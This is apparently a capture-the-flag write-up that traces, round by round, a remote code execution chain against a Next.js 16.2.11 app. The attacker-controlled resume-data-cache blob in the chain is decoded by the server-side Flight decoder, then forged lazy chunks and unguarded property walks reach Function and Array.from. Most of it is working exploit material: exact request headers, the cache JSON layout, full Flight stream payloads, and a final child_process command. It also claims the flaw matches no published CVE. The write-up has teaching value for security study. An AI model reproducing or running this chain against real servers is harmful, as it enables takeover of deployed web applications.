bloatware.js
Next.js resume-data-cache blobs are base64 → inflate → JSON.parse with no integrity check, and the client Flight decoder's synchronous reference walk has no guards at all.
NNS{n3xt.js_1s_pur3_sl0p_1b399664d5} A Next.js 16.2.11 app. The write-up below keeps the round structure of the actual investigation, including two rounds whose conclusions were wrong. Those are the rounds worth reading.
What the first three rounds missed
I had been fuzzing PPR-resume mostly through replayNodes. The far stronger sink is
the resumeDataCache blob that follows the postponed state.
The earlier rounds had captured their sample from a toy route (/ppr-test) where
this value was the literal string "null", so the surface was simply invisible.
This app uses "use cache", so in reality it is populated.
Why it is reachable, the config combination is the key
// server.js
minimalMode: true
// base-server.js:620
isAppPPREnabled && minimalMode && req.headers['next-resume'] === '1' && POST
That accepts the request body as postponed state. Note customServer: false // <--- gift for u.
next.config.mjs:cacheComponents: true→ PPR plus the"use cache"store is activefetch.js: two"use cache"functions actually use the cache store
The chain
1) Our blob reaches the cache store.
// resume-data-cache.js createRenderResumeDataCache()
json = JSON.parse(inflateSync(Buffer.from(blob, 'base64'), {maxOutputLength: ...}).toString('utf-8'));
return {
cache: parseUseCacheCacheStore(Object.entries(json.store.cache)),
fetch: new Map(Object.entries(json.store.fetch)),
encryptedBoundArgs: new Map(Object.entries(json.store.encryptedBoundArgs)),
...
};
base64 → zlib inflate → JSON.parse, and that is all. There is no signature, MAC or
integrity check of any kind.
2) A cache entry’s value is a raw byte stream we supply.
// cache-store.js parseUseCacheCacheStore()
value: new ReadableStream({
start(controller) {
controller.enqueue(stringToUint8Array(atob(entry.value))); // our base64, verbatim
controller.close();
}
}),
3) That stream is fed to a Flight decoder inside the server.
// use-cache-wrapper.js:1064-1069 - cache lookup
const renderResumeDataCache = getRenderResumeDataCache(workUnitStore);
if (renderResumeDataCache) {
const rdcEntry = renderResumeDataCache.cache.get(serializedCacheKey); // our entry
// use-cache-wrapper.js:1481 - restoring the value
const serverConsumerManifest = {
moduleLoading: null,
moduleMap: clientReferenceManifest.rscModuleMapping,
serverModuleMap: getServerModuleMap(), // the server reference map comes along too
};
return createFromReadableStream(stream, { ..., serverConsumerManifest, .. });
Why this differs from the path a previous round declared dead
That round’s “definitively dead” conclusion was about fulfillReference’s defences
in the server decoder (decodeReply / react-server-dom-*-server). This is not
that. Here the client decoder (react-server-dom-*-client) runs inside the
server process, holding serverModuleMap and moduleMap, parsing our bytes. Its
defences are not the same, so it needed checking separately.
Confirmation: arbitrary server-side Flight stream injection
POST / -> 1:"PWNED_BY_RDC" <- our value instead of the Wikipedia HTML
[CK] key=["pDpSm515jzcsVDw36FXx2","80db9adc...",[]] rdc=true
The entire return value of getBloatwareHtml() was replaced with ours. Feeding
arbitrary bytes to createFromReadableStream works (poc_rdc_inject.py).
The missing piece: carrying action + resume in one request
Sending next-resume: 1 consumes the whole body as postponed state, so the action
dies in JSON.parse(''). The real path is elsewhere:
// node_modules/next/dist/build/templates/app-page.js:230-262
const resumeStateLengthHeader = req.headers[NEXT_RESUME_STATE_LENGTH_HEADER]; // 'x-next-resume-state-length'
if (!getRequestMeta(req,'postponed') && isMinimalMode && couldSupportPPR
&& isPossibleServerAction && resumeStateLengthHeader) {
const fullBody = await readBodyWithSizeLimit(req, maxTotalBodySize);
const postponedState = fullBody.subarray(0, stateLength).toString('utf8');
addRequestMeta(req, 'postponed', postponedState);
const actionBody = fullBody.subarray(stateLength);
addRequestMeta(req, 'actionBody', actionBody); // the action handler reads this
}
The comment says outright “so the RDC is available for the re-render after the
action completes”. The branch only opens in minimalMode, which is exactly what
customServer: false // gift for u gives us.
Request shape
POST /
x-matched-path: /
next-action: 80db9adc26256d6e094b28dc8d838ba81eb59de393
x-next-resume-state-length: <len(state)>
content-type: text/plain;charset=UTF-8
<state><actionBody>
state = 4:null + base64(zlib.deflate(JSON)), the “RDC only, no React state” form
from postponed-state.js:75. parsePostponedState returns
{type:1, renderResumeDataCache} when postponedString === 'null'.
{"store":{"fetch":{},"cache":{ "<KEY>": {"entry":{"value":"<b64 flight>","tags":[],
"stale":0,"timestamp":0,"expire":0,"revalidate":0},
"hasExplicitRevalidate":false,"hasExplicitExpire":false,"readRootParamNames":[]}},
"encryptedBoundArgs":{}}}
<KEY> = JSON.stringify([buildId, actionId, args]), e.g.
["pDpSm515jzcsVDw36FXx2","80db9adc26256d6e094b28dc8d838ba81eb59de393",[]]
(the buildId is readable remotely from "b":"..." in the response). revalidate
must be non-zero and expire ≥ DYNAMIC_EXPIRE or the entry is discarded as dynamic.
Round 3 conclusions, two of which were wrong
At this point I had “decode arbitrary Flight inside the server” but not RCE, and I recorded these as settled defences:
- Callable functions are sealed.
loadServerReference→resolveServerReference→ theserverModuleMapProxy only admits 42-character valid action IDs. So the only callable things are this app’s two"use cache"functions. - No prototype pollution. Both assignment sites in the decoder are guarded by
"__proto__" !== key && (parentObject[key] = value)(lines 1082, 1207). - No arbitrary module load.
resolveClientReference’sbundlerConfigis always a truthy Proxy, so thereturn metadatabranch is unreachable. - No
$Eeval gadget. The decoder the server actually uses is bundled in.next/server/chunks/ssr/[root-of-the-server]__0mihd3-._.js; searching it fornew Function,eval(,(0,eval),__DEV__,case "E"gives zero hits. Not a dev bundle.
A correction I also had to make in this round: “the two cache functions plus controlled arguments” is worth nothing, because neither function takes arguments:
"use cache";
const nameToUrl = (name) => `https://en.wikipedia.org/w/rest.php/v1/page/${name}/html`;
async function getBloatwareHtml() {
const response = await fetch(nameToUrl("Software_bloat"));
return await response.text();
}
async function getNextHtml() {
const response = await fetch(nameToUrl("Next.js"));
return (await response.text()).replaceAll("Next.js", "bloatware.js");
}
export { getBloatwareHtml, getNextHtml }
Their return value does reach dangerouslySetInnerHTML, so XSS is certain, but
this challenge has no admin bot, so that does not lead to the flag.
Round 4, two of those guards collapse
Break 1: the synchronous reference walk has no guards at all
The guards live only on the asynchronous path. fulfillReference (lines 988-1053)
checks typeof value === 'object' && hasOwnProperty.call(value, name), but the
synchronous loop in getOutlinedModel (lines 1245-1345) is simply:
id = id[reference[i]]; // no typeof check, no hasOwnProperty check
The synchronous path is taken when the target chunk is already resolved, which you arrange by placing the target chunk before the reference in the stream.
| Stream order | Payload | Result |
|---|---|---|
| target first (resolved) | 1:{"x":1} then 0:"$1:constructor:name" | 1:"Object", a function passed as an intermediate hop |
| target later (pending) | 0:"$1:constructor:name" then 1:{"x":1} | 500 (async guard) |
So round 3’s “functions cannot be intermediate hops” was wrong. __proto__ hops
open up too, and $1:constructor:constructor reaches Function.
Break 2: a forged lazy bypasses resolveClientReference entirely
getOutlinedModel’s lazy-unwrapping loop trusts _payload to be a chunk:
for (; typeof id === "object" && id !== null && id.$$typeof === REACT_LAZY_TYPE;) {
id = id._payload;
switch (id.status) {
case "resolved_model": initializeModelChunk(id); break;
case "resolved_module": initializeModuleChunk(id); break; // <-
}
and initializeModuleChunk does var value = requireModule(chunk.value), where
chunk.value is ours. $$typeof is forged with the $S (Symbol.for) marker:
1:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module","value":[<module id>,[],"<name>"]}}
0:"$1:name"
No manifest lookup, no Proxy guard. The error proves it lands:
Error: Module child_process was instantiated because it was required from module 56716,
but the module factory is not available.
at instantiateModule ([turbopack]_runtime.js:845)
at commonJsRequire ([turbopack]_runtime.js:302)
Our ID reaches turbopack’s commonJsRequire verbatim, so “no arbitrary module load”
was wrong as well. Still not RCE though: searching all of .next/server for
child_process / execSync / spawnSync / createRequire / runInNewContext /
runInThisContext gives zero hits. The bundle has no code-execution module in it.
Round 5, forging the response object gives a controlled call
initializeModelChunk starts with:
var resolvedModel = chunk.value,
response = chunk.reason; // a forged chunk means this is ours too
...
var value = parseModel(response, resolvedModel);
So giving the forged lazy a _payload of
{"status":"resolved_model","value":"<model JSON>","reason":{...}} makes the whole
decoder run with our response. The interesting fields are _bundlerConfig
(falsy → resolveClientReference returns our metadata), _serverReferenceConfig
(falsy → loadServerReference takes the createBoundServerReference branch), and
_callServer.
Working payload (poc_callserver.py):
1:[[5,{"status":"fulfilled","value":{"id":"AAA","bound":{"status":"fulfilled","value":["MARKER_CODE"]}}}]]
2:{"d":1}
3:{"_chunks":"$Q1","_callServer":"$2:constructor:constructor","_serverReferenceConfig":null,
"_encodeFormAction":null,"_tempRefs":null,"_bundlerConfig":null}
4:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value":"{\"r\":\"$h5\"}","reason":"$3"}}
0:{"then":"$4:r"}
Evidence that Function really is invoked:
SyntaxError: Unexpected identifier 'code'
at Function (<anonymous>) <- the Function constructor was actually called
at Object.d [as then] (...) <- via the thenable path
Both arguments to Function(String(id), String(boundArgs)) are ours. But Function
only compiles; it does not call.
Round 6, the chain, and the last missing piece
action() contains two chained controlled calls:
function action() {
var args = Array.prototype.slice.call(arguments);
return bound ? ("fulfilled" === bound.status
? callServer(id, bound.value.concat(args)) // call 2 (callServer) <- call 1 (concat)
: ...) : callServer(id, args);
}
Call 1 is bound.value.concat(args), bound.value is our object, so concat can
be any function we like. Call 2 is callServer(id, <result of call 1>), and both
callServer and id are ours. The result of call 1 becomes the second argument of
call 2.
toJSON is used instead of then because of the argument. then receives
React’s internal resolve/reject, while toJSON(key) receives the parent
object’s property name, which is a string we choose.
I spent a while looking for externalRequire (turbopack’s real Node require,
sitting at Context.prototype.x) as the thing that would call its argument. That
was unnecessary.
Solved
NNS{n3xt.js_1s_pur3_sl0p_1b399664d5}
The last piece was Array.from. Array.from(items, mapFn) calls its second
argument, and it is reachable by the synchronous walk alone as
$1:constructor:from (array → Array → from). Reaching the turbopack Context or
the globals was never needed.
The complete chain
POST /
x-matched-path: /
next-action: <42-hex use-cache id>
x-next-resume-state-length: <len(state)>
content-type: text/plain;charset=UTF-8
<state><actionBody="[]">
state = 4:null + base64(zlib(RDC JSON)), where the RDC plants a single
use cache entry. That entry’s value, the Flight stream decoded server-side by
createFromReadableStream, is:
1:[1] # to reach Array
2:{"d":1} # to reach Function
3:{"concat":"$2:constructor:constructor"} # bound.value.concat = Function
4:[[5,{"status":"fulfilled","value":{"id":"$1","bound":{"status":"fulfilled","value":"$3"}}}]]
5:{"_chunks":"$Q4","_callServer":"$1:constructor:from","_serverReferenceConfig":null,
"_encodeFormAction":null,"_tempRefs":null,"_bundlerConfig":null}
6:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value":"{\"r\":\"$h5\"}","reason":"$5"}}
0:{"<JS CODE>":{"toJSON":"$6:r"}}
- Chunks are placed before their references, so
getOutlinedModeltakes the unguarded synchronous walk (id = id[reference[i]]) and functions pass as intermediate hops →FunctionandArray.fromare reachable. - A forged
react.lazy($$typeoffaked via$S/Symbol.for) makesinitializeModelChunkuseresponse = chunk.reason, so the decoder runs on our fake response. _serverReferenceConfig: null→createBoundServerReference(metaData, _callServer, ...).- The value is placed under
toJSON, so serialisation callsaction(key)withkey= our property name = the JavaScript source. action()→callServer(id, bound.value.concat(args)).bound.value.concat=Function→Function([code])compiles a function whose body is our code._callServer=Array.from→Array.from([1], <compiled function>)calls it.- Payload:
process.getBuiltinModule('child_process').execFileSync('/readflag',[PASSPHRASE]), neitherrequirenorprocess.mainModuleis in the global scope of aFunctionbody, so Node 22+‘sprocess.getBuiltinModulewas the answer.
Not explained by any published CVE (checked)
next@16.2.11 is a patch release from 2026-07 that already fixes CVE-2026-64641
through 64649. The only security release after it is 2026-08 (16.3.3): the AVIF RCE
requires AVIF to be enabled explicitly in next.config, which this app does not do,
and the Windows RCE does not apply on Linux. There is no 2026-09 release. The path
really is the one the configuration combination opens.